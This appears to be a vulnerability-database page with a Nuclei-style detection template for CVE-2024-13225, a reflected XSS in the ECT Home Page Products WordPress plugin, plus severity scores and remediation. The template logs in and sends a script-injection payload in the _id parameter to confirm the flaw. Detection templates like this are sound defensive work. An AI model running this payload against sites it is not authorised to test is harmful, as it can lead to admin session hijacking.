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ECT Home Page Products - Reflected XSS

CVE-2024-13225
Verified

Description

ECT Home Page Products WordPress plugin through 1.9 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users such as admin, exploit requires victim to visit a maliciously crafted page.

Severity

Medium

CVSS Score

6.1

Exploit Probability

1%

Affected Product

ect_home_page_products

Published Date

February 6, 2026

Template Author

sourabh-sahu

CVE-2024-13225.yaml
id: CVE-2024-13225

info:
  name: ECT Home Page Products - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    ECT Home Page Products WordPress plugin through 1.9 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users such as admin, exploit requires victim to visit a maliciously crafted page.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/8efd7d62-3f74-4108-970e-bd5ed24914ff/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13225
    cwe-id: CWE-79
    epss-score: 0.01223
    epss-percentile: 0.79334
    cpe: cpe:2.3:a:etemplates:ect_home_page_products:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: etemplates
    product: ect_home_page_products
  tags: cve,cve2024,etemplates,ect-home-page-products,authenticated,xss,wordpress,wp,wp-plugin

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=ect_homepage_prod_add&_id=testxss"></script><script>alert(document.domain)</script><script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>","ect-homepage-products")
        condition: and
# digest: 4a0a004730450221009c2b2c2d8fd2fdc7b289fb47dc740be652645d90a50c0dde5ebfc636309e409002202d56aff4d9679a9462b83fbe967f336820b9c1002b1a0078019e89e9b251ec77:922c64590222798bb761d5b6d8e72950
6.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVE ID:
cve-2024-13225
CWE ID:
cwe-79

References

https://wpscan.com/vulnerability/8efd7d62-3f74-4108-970e-bd5ed24914ff/

Remediation Steps

Update to the latest version of the plugin where the vulnerability is fixed.